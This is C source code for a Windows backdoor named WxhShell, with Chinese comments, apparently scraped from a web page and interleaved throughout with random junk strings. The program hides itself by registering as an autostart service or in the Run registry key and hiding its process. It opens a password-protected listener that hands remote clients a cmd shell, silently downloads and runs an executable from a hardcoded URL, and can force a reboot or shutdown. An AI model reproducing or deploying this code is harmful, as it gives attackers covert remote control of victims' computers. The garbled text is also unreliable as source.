NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4B-+DH>{6 Fw%S%*B8g if (!NtQueryInformationProcess) return 0; g:&PjKA Gr~J-#a3~D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n?v$C:jLN if(!hProcess) return 0; }Gd^r PWS5s^WM if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Aj"fkY|Q lt{"N'Gw6 CloseHandle(hProcess); S\@U3|Q5 xHlO~:Lc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $A)[s$ if(hProcess==NULL) return 0; t<SCrLbz ,d8*7my HMODULE hMod; Y>CZ char procName[255]; /)V8X#, unsigned long cbNeeded; w(q\75 X1&c?T1 %[ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t#nRa Pzp OlX
otp8 CloseHandle(hProcess); wkD"EuW( I:] Pd if(strstr(procName,"services")) return 1; // 以服务启动 ({hW rKr\Qy+q return 0; // 注册表启动 O?Qi } B1J2m^ _TVKvRh // 主模块 if+97^Oy int StartWxhshell(LPSTR lpCmdLine) b2hXFwPe { lkb,UL;V SOCKET wsl; [:l=>yJ{( BOOL val=TRUE; KK/siG~O int port=0; 2Jt*s$ struct sockaddr_in door; 3/CKy##r%] 7"Q;Yi2( if(wscfg.ws_autoins) Install(); b5l;bXp] <1kK@m -E port=atoi(lpCmdLine); I=7 YAm[W 35~1$uRA if(port<=0) port=wscfg.ws_port; 28lor&Cc #!w7E,UBi WSADATA data; v.>95|8 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [9~6, ;6 nOU.=N
v` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *YP;HL setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H) q_9<; door.sin_family = AF_INET; uL=FK door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4R9y~~+ door.sin_port = htons(port); +<sv/gEt Vd A!tL if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CD)JCv closesocket(wsl); {br6* return 1; y2>AbrJ } \!4_m8? /Hyi/D{ W if(listen(wsl,2) == INVALID_SOCKET) { +\25ynM closesocket(wsl); {0\9HI@ return 1; jR^_1bu
} 1-8G2e Wxhshell(wsl); *NoixV1> WSACleanup(); w*gG1BV XK/bE35%^! return 0; d0 8:lYQ jJe?pT]o } lT;uL~j Di&XDW/ // 以NT服务方式启动 j2=|,AmC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n?8xRaEf { 2@|,VN V6~ DWORD status = 0; v=E(U4v9e DWORD specificError = 0xfffffff; 7K
/qu J c{})Z= serviceStatus.dwServiceType = SERVICE_WIN32; hfRxZ>O2 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0!q@b serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yjIA`5^ serviceStatus.dwWin32ExitCode = 0; kB_T9$0e# serviceStatus.dwServiceSpecificExitCode = 0; Lwkl* serviceStatus.dwCheckPoint = 0; ^NFL3v8 serviceStatus.dwWaitHint = 0; {,e-;2q VH<-||X/4 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .c\iKc# if (hServiceStatusHandle==0) return; *Jg&:(#}<J (vwKC
D& status = GetLastError(); nYy+5u]FG if (status!=NO_ERROR) 8l
>Xbz { 0uJ??4N9 serviceStatus.dwCurrentState = SERVICE_STOPPED; :} D TK serviceStatus.dwCheckPoint = 0; l|K$6>80 serviceStatus.dwWaitHint = 0; HD>UTX`&mc serviceStatus.dwWin32ExitCode = status; >yqFO serviceStatus.dwServiceSpecificExitCode = specificError; I"HA(
+G SetServiceStatus(hServiceStatusHandle, &serviceStatus); X>U _v return; 0G(|`xG1q } *fQn!2}=( +RyV"&v serviceStatus.dwCurrentState = SERVICE_RUNNING; a[NR%Xq serviceStatus.dwCheckPoint = 0; z#/"5 l
serviceStatus.dwWaitHint = 0; 8T3Nz8Q7 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k;l^y%tzp } LMI7Ih; 5GDg_9Bz // 处理NT服务事件,比如:启动、停止 8Bx58$xRq VOID WINAPI NTServiceHandler(DWORD fdwControl) b-YmS=* { gm7 [m} switch(fdwControl) xtzkgb,0[ { o8N,mGj} case SERVICE_CONTROL_STOP: E*d UJ.> serviceStatus.dwWin32ExitCode = 0; N;i\.oY
serviceStatus.dwCurrentState = SERVICE_STOPPED;
!xEGN@ serviceStatus.dwCheckPoint = 0;
wnHfjF serviceStatus.dwWaitHint = 0; ;1q|SmF { __`6 W1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); /?u]Fj } !k!1h%7q return; hY|-l%2f case SERVICE_CONTROL_PAUSE: 05o<fa 2HE serviceStatus.dwCurrentState = SERVICE_PAUSED; *Nur>11D break; ,n&Lp case SERVICE_CONTROL_CONTINUE: \W7pSV-U serviceStatus.dwCurrentState = SERVICE_RUNNING; t@q==VHF break; DY1"t7
9E case SERVICE_CONTROL_INTERROGATE: Hh*
KcIRX break; UHBMl>~z }; #q6#nfi" SetServiceStatus(hServiceStatusHandle, &serviceStatus); >O~ } lg*?w/JX+ Hd_,`W@ // 标准应用程序主函数 0e(4+:0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +6:jm54 { i'[! 'HY :jFZz% // 获取操作系统版本 $0Un'"`S OsIsNt=GetOsVer(); R]4
h)" GetModuleFileName(NULL,ExeFile,MAX_PATH); ~"r(PCa@ 3)hQT-) // 从命令行安装 5.
+_'bF| if(strpbrk(lpCmdLine,"iI")) Install(); +-qa7 nxe9^h7m // 下载执行文件
9s?gI4XN if(wscfg.ws_downexe) { I?_WV_T& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x;A.Ll WinExec(wscfg.ws_filenam,SW_HIDE); "%#CMCE|f } 5E
=!L
g &.P G2f* if(!OsIsNt) { HF*j=qt! // 如果时win9x,隐藏进程并且设置为注册表启动 n_kE HideProc(); '1X^@]+6 StartWxhshell(lpCmdLine); ,>Dpt< } }H|'W[Q. else F12$BKDH if(StartFromService()) |qpFR)l // 以服务方式启动 .TNGiUzG StartServiceCtrlDispatcher(DispatchTable); ?nZe.z-%6 else gnw">H // 普通方式启动 gi$ 'x^]# StartWxhshell(lpCmdLine); #x \YA#~ 2x~Pq_?y return 0; M,<UnAVP- } aI1tG FmgMd)# fpJ%{z2 Xq}}T%jcd =========================================== sK8sxy :KS"&h{ SY z=Xh }yw>d\] f mSGpxZ,IE kt+h\^g " yJMo/!DZ GU]kgwSfi #include <stdio.h> <,Mf[R2N> #include <string.h> L. 8`5<ITw #include <windows.h> #"fn; #include <winsock2.h> Ok<,_yh #include <winsvc.h> j{6O:d6([$ #include <urlmon.h> 4K*st8+bl- ~RV"_8`V9 #pragma comment (lib, "Ws2_32.lib") &a)d,4e<M #pragma comment (lib, "urlmon.lib") +'_ peT.8 ,\N4tG1\ #define MAX_USER 100 // 最大客户端连接数 MHJRBn{} #define BUF_SOCK 200 // sock buffer O+]'*~a #define KEY_BUFF 255 // 输入 buffer 1C0'
Gf)3 XW~a4If #define REBOOT 0 // 重启 LMuDda #define SHUTDOWN 1 // 关机 ]~!CJ8d 5F#FC89Kk #define DEF_PORT 5000 // 监听端口 yT[=!M a*uG^~
). #define REG_LEN 16 // 注册表键长度 1\nzfxx #define SVC_LEN 80 // NT服务名长度 O`T_'.Lk ^fmuBe}d{ // 从dll定义API $i1:--~2\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z+=-)&L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $:&b5=i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ElK Md typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G++<r7;x tJmy}.t1 // wxhshell配置信息 bt Bu[; struct WSCFG { t%Bh'HkG int ws_port; // 监听端口 $-]I?cWlQ char ws_passstr[REG_LEN]; // 口令 uPE Ab2u=" int ws_autoins; // 安装标记, 1=yes 0=no `qRyh}Ax" char ws_regname[REG_LEN]; // 注册表键名 .9?GKD char ws_svcname[REG_LEN]; // 服务名 2#N?WlYw<S char ws_svcdisp[SVC_LEN]; // 服务显示名 ~y"OyO i& char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uyxn+j5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kSEgq<i! int ws_downexe; // 下载执行标记, 1=yes 0=no HDaeJk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2*a9mi char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oDayfyy4y) /IF?|71,m }; A4Q{(z-? n )\(\V7 // default Wxhshell configuration xzOn[.Fi struct WSCFG wscfg={DEF_PORT, q$"?P "xuhuanlingzhe", :jC$$oC]. 1, Q<KF<K'0hg "Wxhshell", 1
1(GCu "Wxhshell", fzOh3FO+ "WxhShell Service", %e)?Mem "Wrsky Windows CmdShell Service", v=Q!ioE7 "Please Input Your Password: ", 'K01"`# 1, i0*Cs#(=h "http://www.wrsky.com/wxhshell.exe",
HLQ>
|,9 "Wxhshell.exe" 3Tp8t6*nL }; Y0J:c?, 0d1!Q!PH3 // 消息定义模块 %@|)&][hO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C6h[L char *msg_ws_prompt="\n\r? for help\n\r#>"; 'Gamb+[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H328I}7 char *msg_ws_ext="\n\rExit."; Zj_2B_|WN# char *msg_ws_end="\n\rQuit."; '=xO?2U-Z char *msg_ws_boot="\n\rReboot..."; /Ak\Q5O'3 char *msg_ws_poff="\n\rShutdown..."; d1D=R8P_u char *msg_ws_down="\n\rSave to "; *ae)<l3v f(5;Rf( char *msg_ws_err="\n\rErr!"; salDGsW^ char *msg_ws_ok="\n\rOK!"; \RRSrPLd- $!TMS&Wk char ExeFile[MAX_PATH]; 9U4[o<G]= int nUser = 0; =#[t!-@ HANDLE handles[MAX_USER]; R(,m! int OsIsNt; -$Kc"rX gm=C0Sp? SERVICE_STATUS serviceStatus; ~%eE%5!k SERVICE_STATUS_HANDLE hServiceStatusHandle; >< P<k& O*!f%} // 函数声明 a>9_#_hI int Install(void); .o,-a >jL int Uninstall(void); c5:0`~5Fn int DownloadFile(char *sURL, SOCKET wsh); 9I$}=&" int Boot(int flag); MPn/"Fij$ void HideProc(void); 2(Yg',aMY- int GetOsVer(void); r!w*y3 int Wxhshell(SOCKET wsl); %M/L/_d void TalkWithClient(void *cs); dw!Xt@,[g{ int CmdShell(SOCKET sock); uEG4^ int StartFromService(void); ~D`R"vzw= int StartWxhshell(LPSTR lpCmdLine); qn{4AWmJ #W
l^!)#j? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o|c&$)m VOID WINAPI NTServiceHandler( DWORD fdwControl ); _qpIdQBo -N5h` Ii7 // 数据结构和表定义 7y42)X SERVICE_TABLE_ENTRY DispatchTable[] = gg8)oc+w { "u&7Y:)^wr {wscfg.ws_svcname, NTServiceMain}, /u`Opv&I {NULL, NULL} JUXBMYFus }; w7Mh8'P54 lUp%1x+ // 自我安装 9C{Xpu int Install(void) u$aN~6HG { SG&H^V8 char svExeFile[MAX_PATH]; f)gV2f0t HKEY key; yx6^ mis4 strcpy(svExeFile,ExeFile); `[XH=-p qW|h"9sr // 如果是win9x系统,修改注册表设为自启动 ~X %cbFom= if(!OsIsNt) { 2']0c
z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qu]a+cYY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"*V'
RegCloseKey(key); =CS$c? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *f{4_ts RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,KF>@3f RegCloseKey(key); 6 OvH"/X4 return 0; zlTLp-^Y } sSD&'K=lq } yd'cLZd<} } B#.xs>{N else { H4{7,n 'O9Yu{M // 如果是NT以上系统,安装为系统服务 DYC2bs> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UEm4):/} if (schSCManager!=0) g2*}XS3 { $P#+Y,r~\ SC_HANDLE schService = CreateService 2chT^3e ( 30(e6T; schSCManager, +W8#] u| wscfg.ws_svcname, :D>flZi wscfg.ws_svcdisp, [nX{sM% SERVICE_ALL_ACCESS, -;RAW1]}Y$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V:+vB " SERVICE_AUTO_START, d{(Rs.GuP SERVICE_ERROR_NORMAL, ;- Vs|X svExeFile, hp}rCy|01 NULL, {!{T,_ J NULL, /X#OX8gb] NULL, I\rjw$V# NULL, 9ao?\]&t NULL f(K1,L:&7 ); ;ByCtVm2 if (schService!=0) #q9BU: { E%stFyr9`/ CloseServiceHandle(schService); 9o6qN1A0g CloseServiceHandle(schSCManager); -xJ\/"A strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S"87 <o strcat(svExeFile,wscfg.ws_svcname); ?Iaqbt%2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i12G\Ye RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %$Q!'+YW RegCloseKey(key); VeQ [A?pER return 0; U~c9PqjZ } NA/Sv"7om } ^r]-v++ CloseServiceHandle(schSCManager); ,5K&f\ } A^0-%Ygl } |BGzdBm^x: 5`K'2 return 1; G`;mSq6i } AO5a Esg: // 自我卸载 |Z Cv>8?n int Uninstall(void) SxC(:k2b; { =Q|s[F HKEY key; pMp@W`i^6 D6e<1W if(!OsIsNt) { Xa&:Hg< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PM {L}tEQ RegDeleteValue(key,wscfg.ws_regname); jd
8g0^ RegCloseKey(key); =3,Sjme if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )%!X, RegDeleteValue(key,wscfg.ws_regname); R/^;,. RegCloseKey(key); >g [Wnzf return 0; xrJ0 } 2"Y=*s } BMhuM~?( } ;:Kc{B.s else { `]Vn[^?D gJzS,g1] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W*4!A\K if (schSCManager!=0) 7G_lGV_ { {Z[kvXf"mZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |e3YTLsI if (schService!=0) ayA_[{j%X { +6Vu]96=KC if(DeleteService(schService)!=0) { F0Z cV>j} CloseServiceHandle(schService); mOYXd,xd CloseServiceHandle(schSCManager); 9x9E+DG#( return 0; uYc&Q$U } Zo,]Dx CloseServiceHandle(schService); 6AmFl< } HMR!XF&JjC CloseServiceHandle(schSCManager); 8ZO~=e } Gv\fF;,R } nON"+c* v/wR)9 return 1; 061 f } Ob-k`@_| )v.\4Q4 // 从指定url下载文件 ]JI
A\|b6 int DownloadFile(char *sURL, SOCKET wsh) 0j{KZy { a3(f\MMxE HRESULT hr; y? 65*lUl char seps[]= "/"; /p@0Q[E char *token;
2f -Or/v char *file; cuQ=bRIb char myURL[MAX_PATH]; 6[>Z y)P char myFILE[MAX_PATH]; ]PXpzruy
(8j@+J strcpy(myURL,sURL); ve=
nh]N token=strtok(myURL,seps); g|4v>5Y while(token!=NULL) Al]z= { k:zGv file=token; +;;pM[U token=strtok(NULL,seps); w~*"mZaG } RjX#pb
H*>5ne=x GetCurrentDirectory(MAX_PATH,myFILE); . J*2J(T, strcat(myFILE, "\\"); K+c>Cj}H strcat(myFILE, file); ;4]l P send(wsh,myFILE,strlen(myFILE),0); (%;D&
~%o send(wsh,"...",3,0); ]5J*UZ} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R
)e^H if(hr==S_OK) Bk~M ^AK@~ return 0; .'N#qs_ else {eo?vA8SE return 1; px_%5^zRQ 3Kum } q0
8 [x|{VJ(h // 系统电源模块 &,`P%a&k int Boot(int flag) %|3UWN { T?FR@.
Rm HANDLE hToken; =p';y& TOKEN_PRIVILEGES tkp; ,cFp5tV$ S>p>$m,
Q if(OsIsNt) { .](s\6' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); doaqHri\, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y~M H tkp.PrivilegeCount = 1; ]7{-HuQ8>} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n7Ia8?8-l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RpY#_\^hI if(flag==REBOOT) { _u`W$EG
L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tMy@'nj return 0; $eBE pN } 7gQ~"Q else { I^6zUVH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v<Ux+- return 0; [t`QV2um } _/!IjB:(70 } c8jq.y v else { u5FlT3hY. if(flag==REBOOT) { =
8%+$vX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bx<7@ return 0; /P|jHK|{ } 89)rss else { Y,@{1X`0@3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +P <Lo I return 0; +<H)DPG< } -.E<~(fad } hw&R.F *l^%7Wrk return 1; 4<&`\<jZ } ABp/uJI) 5<ycF_ // win9x进程隐藏模块 u|D_"q~+6 void HideProc(void) A3N<;OOk { AHhck?M^ 9_GR\\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cv["Ps#;`W if ( hKernel != NULL ) aNCIh@m~ {
Ol24A^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SpY%2Y.Dy ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iB 5 Se FreeLibrary(hKernel); # -Ts]4v } UpS`KgF"v PGHl:4`Es! return; 6l>$N?a } xGeRoW(X Y75,{1\l0 // 获取操作系统版本 RW|3d<Fj int GetOsVer(void) Y m|zM1qc { >%.6n:\rG OSVERSIONINFO winfo; PQ|kE`' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}ya9 +?I GetVersionEx(&winfo); pRj1b^F5y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D[)g-_3f6< return 1; |L4K# else :-
ydsR/ return 0; _S#uxgL< } }4kd=]Nk 1G+42>?<1 // 客户端句柄模块 Ed)t87E int Wxhshell(SOCKET wsl) ><[($Gq`g { ,P<n\(DQ SOCKET wsh; Kuy,qZv!" struct sockaddr_in client; P/?` DWORD myID; "el}@ ^l6q while(nUser<MAX_USER) -lm\~VZT3 { 0p_/eWww- int nSize=sizeof(client); nj~1y') wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {ls$#a+d if(wsh==INVALID_SOCKET) return 1; YzSUJ=0/ #|34(ML handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;z>)&F if(handles[nUser]==0) hX]vZR&R closesocket(wsh); M
yr [ else 5dS5, nUser++; : \w\K: } @
Sw[+` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0*q&) c?CjJ}-7 return 0; 9Ay*' } [|\~-6"7N| 8|`4D 'Ln // 关闭 socket qde.;Yv9 void CloseIt(SOCKET wsh) ]z,W1Zs? { &<-Sxjj closesocket(wsh); <5A(rDij nUser--; B8:_yAv o ExitThread(0); &'UYV> } aO?(ZL e/EfWwqt // 客户端请求句柄 {SW}S_ void TalkWithClient(void *cs) Ym5q#f)| { {
D1. T2
0dZ8{y SOCKET wsh=(SOCKET)cs; ]C-hl}iq char pwd[SVC_LEN]; ]%3o"| char cmd[KEY_BUFF]; g6k@E,cI_ char chr[1]; YsXP$y]g- int i,j; z{cI G8z ]n0kO& while (nUser < MAX_USER) { vW
0m% 6yKr5t H4 if(wscfg.ws_passstr) { 6e$(-ai if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JB a:))lw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h&||Ql1 //ZeroMemory(pwd,KEY_BUFF); impzqQlZ, i=0; c.Pyt while(i<SVC_LEN) {
Q d]5e ;$=`BI) // 设置超时 Jeyy Z= fd_set FdRead; /+ vl({vV struct timeval TimeOut; Hm4:m$=p4 FD_ZERO(&FdRead); +s
c|PB FD_SET(wsh,&FdRead); J.mEOo!> TimeOut.tv_sec=8; HjV3PFg
TimeOut.tv_usec=0; -4o6 OkK< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .OVIQxf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nM1U=Du BDyOX6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E%
Ce/n pwd=chr[0]; nk]jIRy^T if(chr[0]==0xd || chr[0]==0xa) { Z+@" pwd=0; 2P~zYdjS break; M;={] w@n } b2.
xJ4 i++; _=XzQZT!L } h*{{_3, qC40/1-m8K // 如果是非法用户,关闭 socket EX7cjQsml if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i=@.u=: } B5aFt ;Vj 8'_>A5L/C send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MOY.$M,1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .HF+JHIUu f*7/O |Gp while(1) { F_U3+J > `UL#g![J ZeroMemory(cmd,KEY_BUFF); "?hEGJ;m" F`3c uL[N // 自动支持客户端 telnet标准 dX: (%_Mn j=0; at${^,& while(j<KEY_BUFF) { z@^[. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); meT~b cmd[j]=chr[0]; C] qY if(chr[0]==0xa || chr[0]==0xd) { 2f16 /0J@ cmd[j]=0; 7^#f<m;Ar! break; Gvw4ot/ } u[dR*o0' j++; Ey=(B'A~ } aR ao\Wp| p#)u2^ // 下载文件 V|ax(tHv if(strstr(cmd,"http://")) { sptDzVM send(wsh,msg_ws_down,strlen(msg_ws_down),0);
;?1H& if(DownloadFile(cmd,wsh)) UP}Ys* send(wsh,msg_ws_err,strlen(msg_ws_err),0); ',?v7& else kXA
o+l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aErms-~ } ehl){Dd^ else { QpwOrxI} t/LQ|/xo switch(cmd[0]) { fGHYs oE[wOq+ // 帮助 j<>E
Fd case '?': { #ok1qT9_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A&rk5y; break; O7%<( } os|8/[gT // 安装 "qjkwf)\ case 'i': { 'Ar+k\.J if(Install()) ^&buX_nlO send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,y>,?6:> else I3]-$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?*|AcMw5 break; F0W4B } S:4'k^E // 卸载 ,3&XV%1 case 'r': { X@|'#% if(Uninstall()) 2%i_SX[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); G=/a>{ else a7s+l= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l5QH8eNwME break; x7)j?2 } <|[G=GA\S! // 显示 wxhshell 所在路径 5drc8_fZ case 'p': { x.CUJ^_. char svExeFile[MAX_PATH]; |1wfLJ4--l strcpy(svExeFile,"\n\r"); (+q#kKR strcat(svExeFile,ExeFile); >=BH$4Ce send(wsh,svExeFile,strlen(svExeFile),0); ggtGecKm break;
?TA%P6Lw } ;=
^kTb`X // 重启 a|rN %hA4 case 'b': { ~=91Kxf send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A&X(\ c M if(Boot(REBOOT)) EjW3_ % send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~sT/t1Rp else { 4$.$j=Ct." closesocket(wsh); GTL gj'B ExitThread(0); "<uaG?: } 6x|"1
G{ break; 'RK.w^ } ~sj'GEhEg // 关机 `!WtKqr%B case 'd': { JoeU J3N send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $Wt0e 4YSu if(Boot(SHUTDOWN)) /(Mi2$@v1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); cO/%;HEV else { e^2e[rp0 closesocket(wsh); idW= ExitThread(0); b5K6F:D22 } I,;@\ break; P"d7Af } Y|JC+Ee // 获取shell $BHbnsaQ case 's': { 5p!X}u] CmdShell(wsh); ^'>kZ^w0 closesocket(wsh); jej|B#?` ExitThread(0); `2N&{( break; @a-u_|3q } C_xOk'091 // 退出 WeyH;P= case 'x': { ;^+# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8>^(-ca_ CloseIt(wsh); C><]o break; .>?h } k |}& // 离开 x?s5vxAKf case 'q': { xuBXOr4"P send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5@l[!Jl0k closesocket(wsh); XRoMD6qf; WSACleanup(); GVS-_KP\ exit(1); ZccQ{$0H break; ?^y%UIzf } EC9D.afy& } \i1>/`F } :lf;CT6$ /IQl // 提示信息 bz5",8Mn if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
/tIR}qK } nADt8 } ~q0g7?}& '2)c;/-E return; DXX(q k)6 } xW|^2k w1Ar[
P // shell模块句柄 Arvxl(R\4 int CmdShell(SOCKET sock) ~yacJU= { : (IPrQ STARTUPINFO si; BC!n;IAe ZeroMemory(&si,sizeof(si)); MV8Lk/zd?A si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WH:[Y7D si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fpMnA PROCESS_INFORMATION ProcessInfo; &qR1fbw" char cmdline[]="cmd"; p#-ov-znp CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5vxKkk&i4l return 0; !%w#h0(b } D2hEI2S OPm?kr // 自身启动模式 g7*"*%v 2 int StartFromService(void) F\pw0^K;N { >R|*FYam typedef struct /JP]5M) { f1eY2UtWQ DWORD ExitStatus; Z)iRc$; DWORD PebBaseAddress; r]! <iw DWORD AffinityMask; 7\ .Ax DWORD BasePriority; PT2b^PP ULONG UniqueProcessId; "= H.$
+ ULONG InheritedFromUniqueProcessId; >&uG1q0p. } PROCESS_BASIC_INFORMATION; [y^)&L$= Zmx[u_NG PROCNTQSIP NtQueryInformationProcess; !: e0cV dU!`aPL? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3,`.$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,.#
SEv5 JGmW>mH HANDLE hProcess; M :m-i X PROCESS_BASIC_INFORMATION pbi; [,GXA)j p)
x.Y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b0\'JZ if(NULL == hInst ) return 0; @(:ah _ F0qqj g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
Dq T)%a g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R'E8>ee;^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y~RZf /` 7 V/yU5 if (!NtQueryInformationProcess) return 0; 7e,<$PH #xWC(*Ggp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mtfyhFk if(!hProcess) return 0; to0tH^pD E\M{/.4 4 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DNgQ.lV S 6sSdo'
CloseHandle(hProcess); d2H&@80 8ad!. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dhW; | if(hProcess==NULL) return 0; ~;ink Ru%:
